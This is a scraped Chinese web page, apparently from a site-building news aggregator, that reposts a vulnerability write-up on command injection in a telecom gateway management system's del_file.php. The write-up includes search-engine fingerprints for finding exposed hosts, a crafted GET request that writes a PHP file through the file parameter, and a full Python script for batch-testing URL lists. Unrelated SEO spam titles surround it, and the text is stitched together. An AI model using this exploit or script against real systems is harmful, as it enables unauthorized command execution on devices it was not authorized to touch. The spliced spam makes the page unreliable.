当前位置: 首页 > news >正文

有实力的网站建设公司一个购物网站多少钱

有实力的网站建设公司,一个购物网站多少钱,新网域名查询,做网站的目的是什么声明#xff1a;本文档或演示材料仅供教育和教学目的使用#xff0c;任何个人或组织使用本文档中的信息进行非法活动#xff0c;均与本文档的作者或发布者无关。 文章目录 漏洞描述漏洞复现测试工具 漏洞描述 电信网关配置管理系统是一个用于管理和配置电信网关设备的软件系… 声明本文档或演示材料仅供教育和教学目的使用任何个人或组织使用本文档中的信息进行非法活动均与本文档的作者或发布者无关。 文章目录 漏洞描述漏洞复现测试工具 漏洞描述 电信网关配置管理系统是一个用于管理和配置电信网关设备的软件系统。其del_file接口存在命令执行漏洞。 漏洞复现 1信息收集 fofabodya:link{text-decoration:none;color:orange;} fofabodyimg/login_bg3.png body系统登录 hunterweb.bodya:link{text-decoration:none;color:orange;} 愿世间美好与你欢欢相扣~ 2构造数据包 GET /manager/newtpl/del_file.php?file1.txt%7Cecho%20PD9waHAgZWNobyBtZDUoJzEyMzQ1NicpO3VubGluayhfX0ZJTEVfXyk7Pz4%3D%20%7C%20base64%20-d%20%3E%20404.php HTTP/1.1 Host: ip代码解释 读取名为 “1.txt” 的文件。输出 “PD9waHAgZWNobyBtZDUoJzEyMzQ1NicpO3VubGluayhfX0ZJTEVfXyk7Pz4” 的内容。将上述内容进行base64解码。解码后?php echo md5(123456);unlink(__FILE__);?将解码后的内容写入名为 “404.php” 的文件。 ?php echo md5(123456); unlink(__FILE__); ?使用md5函数生成字符串’123456’的MD5散列值并使用echo语句输出这个值。使用unlink函数删除当前执行的PHP文件。__FILE__是一个魔术常量它返回当前文件的完整路径。执行结果打印123456MD5并删除自身文件。 3抓包放包 4查看404.php文件 GET /manager/newtpl/404.php HTTP/1.1 Host:ip回显包含123456的MD5命令被执行了 测试工具 poc #!/usr/bin/env python # -*- coding: utf-8 -*-import requests # 导入requests库用于发送HTTP请求 import random # 导入random库用于生成随机字符串 import string # 导入string库用于获取字符串常量 import argparse # 导入argparse库用于解析命令行参数 from urllib3.exceptions import InsecureRequestWarning # 导入urllib3库中的警告异常# 定义颜色代码用于在终端中显示红色文本 RED \033[91m RESET \033[0m# 忽略不安全请求的警告 requests.packages.urllib3.disable_warnings(categoryInsecureRequestWarning)# 定义一个函数用于生成指定长度的随机字符串 def rand_base(n):return .join(random.choices(string.ascii_lowercase string.digits, kn))# 定义一个函数用于检查指定URL是否存在漏洞 def check_vulnerability(url):filename rand_base(6) # 生成一个随机的6位字符串作为文件名# 构造第一个请求的URL尝试注入恶意代码生成PHP文件inject_url url.rstrip(/) f/manager/newtpl/del_file.php?file1.txt%7Cecho%20PD9waHAgZWNobyBtZDUoJzEyMzQ1NicpO3VubGluayhfX0ZJTEVfXyk7Pz4%3D%20%7C%20base64%20-d%20%3E%20{filename}.phptry:response_inject requests.get(inject_url, verifyFalse, timeout30) # 发送请求不验证SSL证书超时时间30秒# 构造第二个请求的URL尝试访问生成的PHP文件access_url url.rstrip(/) f/manager/newtpl/{filename}.phpresponse_access requests.get(access_url, verifyFalse, timeout30) # 发送请求# 根据响应判断是否存在漏洞if response_inject.status_code 200 and response_access.status_code 200 and e10adc3949ba59abbe56e057f20f883e in response_access.text:print(f{RED}URL [{url}] 存在电信网关配置管理系统 del_file.php 命令执行漏洞{RESET})else:print(fURL [{url}] 不存在漏洞)except requests.exceptions.Timeout:print(fURL [{url}] 请求超时可能存在漏洞)except requests.RequestException as e:print(fURL [{url}] 请求失败: {e})# 定义主函数用于解析命令行参数并调用check_vulnerability函数 def main():parser argparse.ArgumentParser(description检测目标地址是否存在电信网关配置管理系统 del_file.php 命令执行漏洞)parser.add_argument(-u, --url, help指定目标地址)parser.add_argument(-f, --file, help指定包含目标地址的文本文件)args parser.parse_args()if args.url: # 如果指定了URLif not args.url.startswith(http://) and not args.url.startswith(https://):args.url http:// args.url # 确保URL以http或https开头check_vulnerability(args.url)elif args.file: # 如果指定了文件with open(args.file, r) as file:urls file.read().splitlines() # 读取文件中的URL列表for url in urls:if not url.startswith(http://) and not url.startswith(https://):url http:// url # 确保URL以http或https开头check_vulnerability(url)# 程序入口点 if __name__ __main__:main()运行截图
http://www.w-s-a.com/news/16813/

相关文章:

  • 企业手机网站建设策划天津网页设计工作
  • 苏州vr全景网站建设公司怎么讲解网页的制作技术
  • 徐州智能建站怎么做苏州建设网站首页
  • 网站支付功能报价wordpress主页透明
  • asia域名的网站宁波模板建站源码
  • 官网网站怎么做个人网站盈利
  • 青龙桥网站建设网站同时做竞价和优化可以
  • 沭阳建设网站婴儿辅食中企动力提供网站建设
  • 常州做网站的公司济宁网站建设seo
  • 用wordpress做企业网站视频教程韶关建设网站
  • 怎么做一个免费的网站云南网站设计选哪家
  • dw做六个页面的网站做网站运营有前途吗
  • 中级网站开发工程师 试题战地之王网站做任务
  • 广东东莞保安公司湖南 seo
  • 无锡网站策划公司如何零基础学编程
  • 金融网站如何做设计网站开发流程 文档
  • 用jsp做网站国内知名设计工作室
  • 一键搭建网站北京公司网站设计
  • 山东省城乡建设部网站网站营销单页怎么做
  • 中国移动视频网站建设百度统计官网
  • 网站实施过程网站上传视频怎么做
  • 网上书店网站建设实训总结嘉兴seo
  • 网站运行需求cos wordpress
  • 网络小说网站推广策划方案单位网站建设收费标准
  • 医院网站建设论证报告河源网站seo
  • 网站demo怎么做淘宝客网站一般用什么做的
  • 网站开发之美 pdf关键词查询优化
  • 可以建站的网站做一个网站美工多少钱
  • 怎么做网站专题互联网营销师报考费用
  • 淘宝导购网站怎么做上海数据开放网站建设